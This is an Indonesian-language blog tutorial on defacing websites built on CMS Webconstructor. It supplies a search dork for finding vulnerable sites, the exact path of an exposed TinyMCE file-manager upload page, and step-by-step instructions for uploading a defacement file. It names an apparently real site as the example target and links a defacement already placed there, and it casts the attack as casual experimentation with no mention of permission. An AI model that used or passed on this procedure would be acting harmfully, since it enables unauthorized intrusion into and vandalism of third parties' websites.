Cara Deface Metode CMS Webconstructor Upload Vulnrebility

Assalamualaikum 
Ketemu lagi dengan saya, jangan bosen yah :-) Oke kita lanjut lagi dengan tutorial deface. Kali ini target kita adalah web dengan CMS Webconstructor yang memiliki celah untuk upload file. Seperti biasa celah upload file ini bisa kita gunakan untuk upload file deface kita :D
Dork : intext:CMS: webconstructor.pl
Exploit : /tiny_mce/plugins/filemanager/InsertFile/insert_file.php
Allow File : html ,pdf ,ppt ,txt ,doc ,jpg
Oke setelah mengetahui 3 hal di atas kita bisa lanjut deh tutorialnya :-)

1. Pertama kita cari dulu target kita dengan dork diatas
2. Pilih salah satu target contoh: http://rofel.pl
3. Kemudian coba kita exploit dengan menambahkan /tiny_mce/plugins/filemanager/InsertFile/insert_file.php setelah http://rofel.pl
4. Maka url akan berubah menjadi http://rofel.pl/tiny_mce/plugins/filemanager/InsertFile/insert_file.php
5. Kemudian kita cek apakah keluar halaman file manager atau tidak, jika tidak ya cari target lain :D
6. Kalo berhasil akan muncul tampilan 

 

 

Kalo udah gini ya tinggal kita upload aja file deface kita, POC : http://rofel.pl/upload/index.html

Oke deh sekian dulu tutorial deface kali ini, selamat bereksperimen. Ingat!! Dork bisa kita modif sendiri. Sumber: infohackomputer.wordpress.com